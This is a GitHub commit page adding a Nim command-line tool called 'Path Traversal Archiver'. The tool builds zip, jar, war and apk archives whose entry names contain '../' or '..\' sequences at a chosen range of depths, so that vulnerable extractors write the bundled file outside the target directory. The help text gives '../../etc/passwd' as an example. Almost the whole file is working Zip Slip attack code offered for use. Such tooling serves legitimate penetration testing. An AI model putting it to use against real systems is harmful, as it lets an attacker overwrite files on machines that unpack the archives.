Skip to content

Commit cf043e2

Browse files
committed
Automatic commit Sat Mar 25 04:08:22 PM EET 2023
1 parent 7a43505 commit cf043e2

File tree

1 file changed

+65
-0
lines changed

1 file changed

+65
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
import os
2+
import therapist
3+
import std/tables
4+
import std/streams
5+
import std/sequtils
6+
import std/strutils
7+
import zip/zipfiles
8+
9+
let ext_mode = {".zip":fmWrite, ".jar":fmWrite, ".war":fmWrite, ".apk":fmWrite}.toOrderedTable
10+
let exts = toSeq(ext_mode.keys)
11+
12+
let args = (
13+
levels: newStringArg(@["-l", "--levels"], defaultVal="0-10", help="A single level or a range of levels to traverse."),
14+
os: newStringArg(@["-o", "--os"], defaultVal="unix", choices = @["unix", "win"], help="Target OS (unix|win)."),
15+
path: newStringArg(@["-p", "--path"], defaultVal="", help="Path to include (e.g. 'etc/')."),
16+
help: newHelpArg(@["-h", "--help"], help="Show this help message and exit"),
17+
file_to_add: newFileArg(@["<file_to_add>"], help="File to add in the archive."),
18+
archive: newStringArg(@["<archive>"], help="Archive filename (Supported extensions are .zip, .jar, .war, .apk)."),
19+
)
20+
21+
22+
proc make_traversal_path(path: string, level: int = 0, os: string = "unix"): string =
23+
if os == "win":
24+
let traversal = "..\\"
25+
let fullpath = traversal.repeat(level) & path
26+
return fullpath.replace("/", "\\").replace("\\\\", "\\")
27+
else:
28+
let traversal = "../"
29+
let fullpath = traversal.repeat(level) & path
30+
return fullpath.replace("\\", "/").replace("//", "/")
31+
32+
33+
args.parseOrHelp(prolog="Path Traversal Archiver: A tool to create archives containing path-traversal filenames (e.g. '../../etc/passwd').")
34+
35+
var start = 0
36+
var final = 0
37+
try:
38+
if "-" in args.levels.value:
39+
let values = split(args.levels.value, "-")
40+
start = parseInt(values[0])
41+
final = parseInt(values[1])
42+
else:
43+
start = parseInt(args.levels.value)
44+
final = start
45+
except ValueError:
46+
"Please specify a single level (e.g. 3) or a level range (e.g. 1-10) for path traversal.".quit(-1)
47+
48+
let splittedFile = splitFile(args.archive.value)
49+
let path = args.path.value & lastPathPart(args.file_to_add.value)
50+
51+
if not ext_mode.hasKey(splittedFile.ext):
52+
let message = "Please specify a supported extention " & $exts & " in the archive filename: " & args.archive.value
53+
message.quit(-1)
54+
elif splittedFile.ext in [".zip", ".jar", ".war", ".apk"]:
55+
echo "Creating archive " & args.archive.value
56+
var z: ZipArchive
57+
if z.open(args.archive.value, ext_mode[splittedFile.ext]):
58+
for i in countup(start, final):
59+
let fullpath = make_traversal_path(path, level=i, os=args.os.value)
60+
echo "[+] Adding " & fullpath
61+
z.addFile(fullpath, newFileStream(args.file_to_add.value, fmRead))
62+
z.close()
63+
else:
64+
let message = "Extention '" & splittedFile.ext & "' not supported."
65+
message.quit(-1)

0 commit comments

Comments
 (0)